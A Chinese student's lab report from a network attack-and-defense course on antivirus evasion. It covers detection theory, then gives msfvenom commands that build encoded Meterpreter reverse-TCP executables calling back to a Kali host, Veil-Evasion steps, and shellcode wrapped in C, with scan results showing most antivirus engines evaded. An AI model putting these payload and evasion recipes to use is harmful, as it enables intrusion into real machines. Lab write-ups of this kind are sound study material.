20145238荆玉茗-《网络攻防》-免杀原理与实践
一、基础问题回答
(1)杀软是如何检测出恶意代码的?
答:通过三种方式查杀恶意代码,①基于特征码:检测一段代码;②启发式检测:解决单一的特征码对比的缺陷;③基于行为的恶意代码:监控修改文件硬盘、连网连接恶意网站等。
(2)免杀是做什么?
答:就是不让杀毒软件查出来的厉害病毒。
(3)免杀的基本方法有哪些?
答:①基于特征码:对于有.exe可以加压缩壳;对于shellcode可以用encode编码,对于奇偶位进行分别异或;②可以自己手动编写一个恶意软件;③对于攻击行为:反弹式链接;使用隧道技术。
二、实践总结与体会
- 通过本次实验让我对以前完全依赖的杀毒软件产生了质疑,连我们编写的最基本的病毒,有些杀毒软件还查不出来,,,本次实验也让我了解了杀毒软件的工作原理,分析其工作原理编写免杀程序。以前遥不可及的应用现状我也能大概掌握其工作原理,术业有专攻,要想真的作为一名出色的信息安全工作者,那他也一定是一位出色的hacker。
三、离实战还缺些什么技术或步骤?
- 通过杀毒软件检测结果有些编码后的病毒竟然查杀率大于病毒本身,就说明我们一些熟悉的编码早已应用于各种杀软。我们必须创新出自己的方式。
- 对于查杀率最低的手工打造病毒,对我们的编程能力以及很多数学、密码等专业知识的要求很高,我们的水平还是非常有限。
- 反弹式链接是基础。
四、实践过程记录
1.msfvenom直接生成meterpreter可执行文件
-
win10的IP:192.168.2.132
-
kali的IP:192.168.228.128
-
在kali中生成meterpreter的可执行文件sos.exe,使用ncat传输至主机。(上次实验传过来的我还没删~就不演示了。)
-
使用http://www.virscan.org/网站监测杀软查杀病毒的能力。(注意这里上传的文件不可以以中文及数字开头哦)
-
感觉我这个不是特别毒,才46%,但这明明就是一个裸毒啊!反正说没有病毒的杀毒软件应该都是假的了。
2.Msfvenom使用编码器生成可执行文件
仅一次编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘x00’ LHOST=192.168.228.128 LPORT=5238 -f exe > ms1.exe
- 再看看他检查的结果(纳尼!比上次直接生成的可执行文件还高,看来这个编译器比源文件被更多的杀软公司标示了...)
多次编码尝试
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=192.168.228.128 LPORT=5238 -f exe > ms2.exe
-
再来看看检查结果(结果还是很高,没错说明很多杀毒软件对于编码病毒识别较高)
-
对比两次我们还发现这三次生成的可执行文件的大小都是一样的,只有payload的大小会增加。可能这样不容易被发现。
3.Veil-Evasion生成可执行文件
-
输入
use python/meterpreter/rev_tcp
-
输入
set LHOST kali的IP
-
输入
generate
-
输入生成可执行文件的名字这里是
5238sos.exe
-
选python语言编写
-
在它说的位置找到可执行文件
-
找不到位置怎么办
cp 复制路径 ~/你能找到的文件夹
-
来看看检测结果(效果还是非常明显的,还有百分之25的杀软检测出来了)
4.使用C语言调用shellcode
(手工打造病毒)(不是特别手工)
使用命令生成一个c语言格式的Shellcode数组
*此内容已被删除
-
vi创建一个C文件,mssc5238.c,将数组写入文件中,加上主函数。
*此处省略好多字 -
使用命令该C语言代码mssc5238.c转换为一个可在64位windows系统下操作的可执行文件mssc5238.exe
-
检查一下,有8个杀毒软件检测出病毒,是现在做的病毒中最不容易被检测的一个了。
采用逆序修改shellcode
-
在windows中vs编写一个C语言程序(参考GQ同学代码)
-
检测一下(很不错只有四款软件检查出了错误)
-
使用金山毒霸扫描一下,也成功躲过
-
kali中msf成功,获取权限